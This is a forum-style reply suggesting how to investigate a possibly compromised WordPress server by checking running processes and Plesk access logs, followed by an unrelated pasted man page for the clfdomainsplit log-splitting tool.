Hi,

It certainly sounds like you've been sensible in how you've set up WordPress, from what you describe. And whilst it would be possible to conceal a malicious script in an image, this isn't commonly seen, and tends to be a result of far more subtle and advanced compromises than what you appear to be experiencing.

The main thing I suggest right now is to see if there are still any suspicious processes on your system at the moment. If there are, then you need to find out as much as you can about them before they exit or are killed off. If there aren't, then your next best avenue of investigation would be to look at your Web server logs for anything that appears out-of-the-ordinary.

On a Plesk-style system (if that is indeed what you have), these are typically stored as /var/www/vhosts/domain.com/logs/access_log, where domain.com should of course be replaced with your own Web site's domain. If it's a WordPress site, then any mention of the Perl interpreter or Perl scripts in those logs would constitute an abnormal finding.

NAME

       clfdomainsplit - split Common-Log Format web logs based on domain name

SYNOPSIS

       clfdomainsplit [--help] [-i input] [-d defaultfile] [-c cfg-file] [-o directory]

DESCRIPTION

       The clfdomainsplit program will split up large CLF format web logs based on domain name.  This is for creating separate log analysis passes
       for each domain hosted on your server.

OVERVIEW

       The  input parameter specifies the file to read (default is standard input).

       The  defaultfile parameter specifies where data goes if it doesn't have a domain (either it has an IP address for the server or it  doesn't
       have the server-name - the URL is relative to the root of the web server only).	The default will be to print them on standard error.

       The  cfg-file  parameter is for specifying the rules for determining what is a different domain name.  For example www.coker.com.au belongs
       in the same file as coker.com.au and abc.coker.com.au because domain names ending in .au have three major  components.	The  domain  names
       www.workbenelux.nl and workbenelux.nl belong in the same file because domain names ending in .nl have two major components (as do .com, and
       .gov), wheras anything ending in .va belongs to the same organization.  The rules are of the form number:pattern which lists the number	of
       domain parts which are significant (2 for .com and for a simple string comparison, the default will be:

       2:com

       2:nl

       3:au

       3:uk

       If  no  config file is specified then it will look for /etc/clfdomainsplit.cfg.	Of course comments start with #.  Also note that the first
       match will be used!

       The directory parameter is to specify the location for the files to be created (default is the current directory).  I  recommend  that  you
       use a directory for this and nothing else as you never know how many files may be created!
